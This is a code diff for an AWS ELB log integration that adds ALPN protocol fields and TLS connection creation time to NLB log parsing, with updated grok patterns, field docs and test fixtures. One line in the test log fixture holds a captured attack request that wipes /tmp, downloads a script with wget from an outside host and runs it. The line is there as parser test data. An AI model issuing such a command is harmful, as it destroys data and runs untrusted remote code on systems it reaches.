AWS ELB add support for ALPN policy details in NLB logs

packages/aws/changelog.yml

@@ -1,4 +1,9 @@
 # newer versions go on top
+- version: "2.30.2"
+  changes:
+    - description: Add the support for listeners with ALPN policy extension in ELB dataset for Network Load Balancers.
+      type: bugfix
+      link: https://github.com/elastic/integrations/pull/11590
 - version: "2.30.1"
   changes:
     - description: Update the AWS dashboard panels.

packages/aws/data_stream/elb_logs/_dev/test/pipeline/test-alb.log

@@ -1,2 +1,6 @@
 http 2018-07-02T22:23:00.186641Z app/my-loadbalancer/50dc6c495c0c9188 192.168.131.39:2817 10.0.0.1:80 0.000 0.001 0.000 200 200 34 366 "GET http://www.example.com:80/ HTTP/1.1" "curl/7.46.0" - - arn:aws:elasticloadbalancing:us-east-2:123456789012:targetgroup/my-targets/73e2d6bc24d8a067 "Root=1-58337262-36d228ad5d99923122bbe354" "-" "-" 0 2018-07-02T22:22:48.364000Z "forward,redirect" "-" "-" "10.0.0.1:80" "200" "-" "-"
 http 2022-05-12T06:41:29.051646Z app/admin-LoadB-1EGHQRJIOLMFR/3011821a43ee0c5e 67.43.156.20:41542 - -1 -1 -1 301 - 233 390 "GET http://127.0.0.1:80/shell?cd+/tmp;rm+-rf+*;wget+ a.tigoinari.tk/jaws;sh+/tmp/jaws HTTP/1.1" "Hello, world" - - - "Root=1-627cac19-4c6df30820daa80e3fd72ced" "-" "-" 0 2022-05-12T06:41:29.051000Z "redirect" "https://127.0.0.1:443/shell?cd+/tmp;rm+-rf+*;wget+ a.tigoinari.tk/jaws;sh+/tmp/jaws" "-" "-" "-" "Acceptable" "SpaceInUri"
+tls 2.0 2018-12-20T02:59:40 net/my-network-loadbalancer/c6e77e28c25b2234 g3d4b5e8bb8464cd 192.168.131.39:2817 10.0.0.1:80 5 2 98 246 - arn:aws:acm:us-east-2:671290407336:certificate/2a108f19-aded-46b0-8493-c63eb1ef4a99 - ECDHE-RSA-AES128-SHA tlsv12 - my-network-loadbalancer-c6e77e28c25b2234.elb.us-east-2.amazonaws.com - - - 2018-12-20T02:59:30
+tls 2.0 2020-04-01T08:51:42 net/my-network-loadbalancer/c6e77e28c25b2234 g3d4b5e8bb8464cd 192.168.131.39:2817 10.0.0.1:80 5 2 98 246 - arn:aws:acm:us-east-2:671290407336:certificate/2a108f19-aded-46b0-8493-c63eb1ef4a99 - ECDHE-RSA-AES128-SHA tlsv12 - my-network-loadbalancer-c6e77e28c25b2234.elb.us-east-2.amazonaws.com h2 h2 "h2","http/1.1" 2020-04-01T08:51:20
+tls 2.0 2024-10-25T17:33:59 net/k8s-xxxx-xxx-xxxxxxxx/53192f3a0 46712e747de 192.168.131.39:2817 10.0.0.1:80 108 65 256 527 - arn:aws:acm:eu-central-1:XXXXXXXXXXX:certificate/25c6-4fad-9d52-7fca046bb588 - ECDHE-RSA-AES128-GCM-SHA256 tlsv12 - [oauthce.eu-central-1.XXXX.c1.XXXXX.com](https://oauthce.eu-central-1.xxxx.c1.xxxxx.com/) http/1.1 http/1.1 \"http/1.1\" 2024-10-22T19:16:57
+tls 2.0 2024-10-25T17:33:59 net/XXXXX-XXXX-XXX-us-east-2/c88927aafc9abafe 52878890095341b5 192.168.131.39:2817 10.0.0.1:80 0 - 0 0 - - - - - - - - - - 2024-10-25T17:33:59

packages/aws/data_stream/elb_logs/_dev/test/pipeline/test-alb.log-expected.json

@@ -189,6 +189,234 @@
                 "name": "Other",
                 "original": "Hello, world"
             }
+        },
+        {
+            "@timestamp": "2018-12-20T02:59:40.000Z",
+            "aws": {
+                "elb": {
+                    "backend": {
+                        "ip": "10.0.0.1",
+                        "port": "80"
+                    },
+                    "chosen_cert": {
+                        "arn": "arn:aws:acm:us-east-2:671290407336:certificate/2a108f19-aded-46b0-8493-c63eb1ef4a99"
+                    },
+                    "connection_time": {
+                        "ms": 5.0
+                    },
+                    "listener": "g3d4b5e8bb8464cd",
+                    "name": "net/my-network-loadbalancer/c6e77e28c25b2234",
+                    "protocol": "tcp",
+                    "ssl_cipher": "ECDHE-RSA-AES128-SHA",
+                    "ssl_protocol": "tlsv12",
+                    "tls_connection_creation_time": "2018-12-20T02:59:30.000Z",
+                    "tls_handshake_time": {
+                        "ms": 2.0
+                    },
+                    "type": "tls"
+                }
+            },
+            "cloud": {
+                "provider": "aws"
+            },
+            "destination": {
+                "bytes": 246,
+                "domain": "my-network-loadbalancer-c6e77e28c25b2234.elb.us-east-2.amazonaws.com"
+            },
+            "ecs": {
+                "version": "8.11.0"
+            },
+            "event": {
+                "category": [
+                    "network"
+                ],
+                "end": "2018-12-20T02:59:40.000Z",
+                "kind": "event",
+                "original": "tls 2.0 2018-12-20T02:59:40 net/my-network-loadbalancer/c6e77e28c25b2234 g3d4b5e8bb8464cd 192.168.131.39:2817 10.0.0.1:80 5 2 98 246 - arn:aws:acm:us-east-2:671290407336:certificate/2a108f19-aded-46b0-8493-c63eb1ef4a99 - ECDHE-RSA-AES128-SHA tlsv12 - my-network-loadbalancer-c6e77e28c25b2234.elb.us-east-2.amazonaws.com - - - 2018-12-20T02:59:30"
+            },
+            "source": {
+                "address": "192.168.131.39",
+                "bytes": 98,
+                "ip": "192.168.131.39",
+                "port": 2817
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "tls": {
+                "cipher": "ECDHE-RSA-AES128-SHA",
+                "version": "1.2",
+                "version_protocol": "tls"
+            }
+        },
+        {
+            "@timestamp": "2020-04-01T08:51:42.000Z",
+            "aws": {
+                "elb": {
+                    "alpn_be_protocol": "h2",
+                    "alpn_client_preference_list": "h2\",\"http/1.1",
+                    "alpn_fe_protocol": "h2",
+                    "backend": {
+                        "ip": "10.0.0.1",
+                        "port": "80"
+                    },
+                    "chosen_cert": {
+                        "arn": "arn:aws:acm:us-east-2:671290407336:certificate/2a108f19-aded-46b0-8493-c63eb1ef4a99"
+                    },
+                    "connection_time": {
+                        "ms": 5.0
+                    },
+                    "listener": "g3d4b5e8bb8464cd",
+                    "name": "net/my-network-loadbalancer/c6e77e28c25b2234",
+                    "protocol": "tcp",
+                    "ssl_cipher": "ECDHE-RSA-AES128-SHA",
+                    "ssl_protocol": "tlsv12",
+                    "tls_connection_creation_time": "2020-04-01T08:51:20.000Z",
+                    "tls_handshake_time": {
+                        "ms": 2.0
+                    },
+                    "type": "tls"
+                }
+            },
+            "cloud": {
+                "provider": "aws"
+            },
+            "destination": {
+                "bytes": 246,
+                "domain": "my-network-loadbalancer-c6e77e28c25b2234.elb.us-east-2.amazonaws.com"
+            },
+            "ecs": {
+                "version": "8.11.0"
+            },
+            "event": {
+                "category": [
+                    "network"
+                ],
+                "end": "2020-04-01T08:51:42.000Z",
+                "kind": "event",
+                "original": "tls 2.0 2020-04-01T08:51:42 net/my-network-loadbalancer/c6e77e28c25b2234 g3d4b5e8bb8464cd 192.168.131.39:2817 10.0.0.1:80 5 2 98 246 - arn:aws:acm:us-east-2:671290407336:certificate/2a108f19-aded-46b0-8493-c63eb1ef4a99 - ECDHE-RSA-AES128-SHA tlsv12 - my-network-loadbalancer-c6e77e28c25b2234.elb.us-east-2.amazonaws.com h2 h2 \"h2\",\"http/1.1\" 2020-04-01T08:51:20"
+            },
+            "source": {
+                "address": "192.168.131.39",
+                "bytes": 98,
+                "ip": "192.168.131.39",
+                "port": 2817
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "tls": {
+                "cipher": "ECDHE-RSA-AES128-SHA",
+                "version": "1.2",
+                "version_protocol": "tls"
+            }
+        },
+        {
+            "@timestamp": "2024-10-25T17:33:59.000Z",
+            "aws": {
+                "elb": {
+                    "alpn_be_protocol": "http/1.1",
+                    "alpn_client_preference_list": "http/1.1",
+                    "alpn_fe_protocol": "http/1.1",
+                    "backend": {
+                        "ip": "10.0.0.1",
+                        "port": "80"
+                    },
+                    "chosen_cert": {
+                        "arn": "arn:aws:acm:eu-central-1:XXXXXXXXXXX:certificate/25c6-4fad-9d52-7fca046bb588"
+                    },
+                    "connection_time": {
+                        "ms": 108.0
+                    },
+                    "listener": "46712e747de",
+                    "name": "net/k8s-xxxx-xxx-xxxxxxxx/53192f3a0",
+                    "protocol": "tcp",
+                    "ssl_cipher": "ECDHE-RSA-AES128-GCM-SHA256",
+                    "ssl_protocol": "tlsv12",
+                    "tls_connection_creation_time": "2024-10-22T19:16:57.000Z",
+                    "tls_handshake_time": {
+                        "ms": 65.0
+                    },
+                    "type": "tls"
+                }
+            },
+            "cloud": {
+                "provider": "aws"
+            },
+            "destination": {
+                "bytes": 527,
+                "domain": "[oauthce.eu-central-1.XXXX.c1.XXXXX.com](https://oauthce.eu-central-1.xxxx.c1.xxxxx.com/)"
+            },
+            "ecs": {
+                "version": "8.11.0"
+            },
+            "event": {
+                "category": [
+                    "network"
+                ],
+                "end": "2024-10-25T17:33:59.000Z",
+                "kind": "event",
+                "original": "tls 2.0 2024-10-25T17:33:59 net/k8s-xxxx-xxx-xxxxxxxx/53192f3a0 46712e747de 192.168.131.39:2817 10.0.0.1:80 108 65 256 527 - arn:aws:acm:eu-central-1:XXXXXXXXXXX:certificate/25c6-4fad-9d52-7fca046bb588 - ECDHE-RSA-AES128-GCM-SHA256 tlsv12 - [oauthce.eu-central-1.XXXX.c1.XXXXX.com](https://oauthce.eu-central-1.xxxx.c1.xxxxx.com/) http/1.1 http/1.1 \\\"http/1.1\\\" 2024-10-22T19:16:57"
+            },
+            "source": {
+                "address": "192.168.131.39",
+                "bytes": 256,
+                "ip": "192.168.131.39",
+                "port": 2817
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "tls": {
+                "cipher": "ECDHE-RSA-AES128-GCM-SHA256",
+                "version": "1.2",
+                "version_protocol": "tls"
+            }
+        },
+        {
+            "@timestamp": "2024-10-25T17:33:59.000Z",
+            "aws": {
+                "elb": {
+                    "backend": {
+                        "ip": "10.0.0.1",
+                        "port": "80"
+                    },
+                    "connection_time": {
+                        "ms": 0.0
+                    },
+                    "listener": "52878890095341b5",
+                    "name": "net/XXXXX-XXXX-XXX-us-east-2/c88927aafc9abafe",
+                    "protocol": "tcp",
+                    "tls_connection_creation_time": "2024-10-25T17:33:59.000Z",
+                    "type": "tls"
+                }
+            },
+            "cloud": {
+                "provider": "aws"
+            },
+            "destination": {
+                "bytes": 0
+            },
+            "ecs": {
+                "version": "8.11.0"
+            },
+            "event": {
+                "category": [
+                    "network"
+                ],
+                "end": "2024-10-25T17:33:59.000Z",
+                "kind": "event",
+                "original": "tls 2.0 2024-10-25T17:33:59 net/XXXXX-XXXX-XXX-us-east-2/c88927aafc9abafe 52878890095341b5 192.168.131.39:2817 10.0.0.1:80 0 - 0 0 - - - - - - - - - - 2024-10-25T17:33:59"
+            },
+            "source": {
+                "address": "192.168.131.39",
+                "bytes": 0,
+                "ip": "192.168.131.39",
+                "port": 2817
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
         }
     ]
-}
+}

packages/aws/data_stream/elb_logs/elasticsearch/ingest_pipeline/default.yml

@@ -54,8 +54,8 @@ processors:
           %{NOTSPACE:aws.elb.listener}
           %{ELBSOURCE}
           %{ELBBACKEND}
-          %{NUMBER:aws.elb.connection_time.ms:float}
-          %{NUMBER:aws.elb.tls_handshake_time.ms:float}
+          (?:-|%{NUMBER:aws.elb.connection_time.ms:float})
+          (?:-|%{NUMBER:aws.elb.tls_handshake_time.ms:float})
           %{NUMBER:source.bytes:long}
           %{NUMBER:destination.bytes:long}
           (?:-|%{NUMBER:aws.elb.incoming_tls_alert})
@@ -64,6 +64,10 @@ processors:
           %{ELBSSL}
           (?:-|%{NOTSPACE:aws.elb.ssl_named_group})
           (?:-|%{NOTSPACE:destination.domain})
+          (?:-|%{NOTSPACE:aws.elb.alpn_fe_protocol})
+          (?:-|%{NOTSPACE:aws.elb.alpn_be_protocol})
+          (?:-|\\?\"%{DATA:aws.elb.alpn_client_preference_list}\\?\")
+          (?:%{TIMESTAMP_ISO8601:aws.elb.tls_connection_creation_time_str}|-)
 
       pattern_definitions:
         ELBTIMESTAMP: '%{TIMESTAMP_ISO8601:_tmp.timestamp}'
@@ -221,6 +225,15 @@ processors:
       field:
         - _tmp
       ignore_missing: true
+  - date:
+      field: aws.elb.tls_connection_creation_time_str
+      target_field: aws.elb.tls_connection_creation_time
+      formats:  ["ISO8601"]
+      "if": "ctx?.aws?.elb?.tls_connection_creation_time_str != null && ctx?.aws?.elb?.tls_connection_creation_time_str != '-' && ctx?.aws?.elb?.tls_connection_creation_time_str != ''"
+  - remove:
+      field: aws.elb.tls_connection_creation_time_str
+      ignore_missing: true
+
 on_failure:
   - set:
       field: event.kind

packages/aws/data_stream/elb_logs/fields/fields.yml

@@ -116,4 +116,23 @@
       type: keyword
       description: >
         The classification reason code.
-
+
+    - name: alpn_fe_protocol
+      type: keyword
+      description: >
+        The application protocol negotiated with the client.
+
+    - name: alpn_be_protocol
+      type: keyword
+      description: >
+        The application protocol negotiated with the target.
+
+    - name: alpn_client_preference_list
+      type: keyword
+      description: >
+        The value of the application_layer_protocol_negotiation extension in the client hello message. This value is URL-encoded.
+
+    - name: tls_connection_creation_time
+      type: date
+      description: >
+        The time recorded at the beginning of the TLS connection.

packages/aws/docs/elb.md

@@ -79,6 +79,9 @@ Please refer to the following [document](https://www.elastic.co/guide/en/ecs/cur
 |---|---|---|
 | @timestamp | Event timestamp. | date |
 | aws.elb.action_executed | The action executed when processing the request (forward, fixed-response, authenticate...). It can contain several values. | keyword |
+| aws.elb.alpn_be_protocol | The application protocol negotiated with the target. | keyword |
+| aws.elb.alpn_client_preference_list | The value of the application_layer_protocol_negotiation extension in the client hello message. This value is URL-encoded. | keyword |
+| aws.elb.alpn_fe_protocol | The application protocol negotiated with the client. | keyword |
 | aws.elb.backend.http.response.status_code | The status code from the backend (status code sent to the client from ELB is stored in `http.response.status_code` | long |
 | aws.elb.backend.ip | The IP address of the backend processing this connection. | keyword |
 | aws.elb.backend.port | The port in the backend processing this connection. | keyword |
@@ -102,6 +105,7 @@ Please refer to the following [document](https://www.elastic.co/guide/en/ecs/cur
 | aws.elb.target_group.arn | The ARN of the target group handling the request. | keyword |
 | aws.elb.target_port | List of IP addresses and ports for the targets that processed this request. | keyword |
 | aws.elb.target_status_code | List of status codes from the responses of the targets. | keyword |
+| aws.elb.tls_connection_creation_time | The time recorded at the beginning of the TLS connection. | date |
 | aws.elb.tls_handshake_time.ms | The total time for the TLS handshake to complete in milliseconds once the connection has been established. | long |
 | aws.elb.tls_named_group | The TLS named group. | keyword |
 | aws.elb.trace_id | The contents of the `X-Amzn-Trace-Id` header. | keyword |

packages/aws/manifest.yml

@@ -1,7 +1,7 @@
 format_version: 3.0.0
 name: aws
 title: AWS
-version: 2.30.1
+version: 2.30.2
 description: Collect logs and metrics from Amazon Web Services (AWS) with Elastic Agent.
 type: integration
 categories: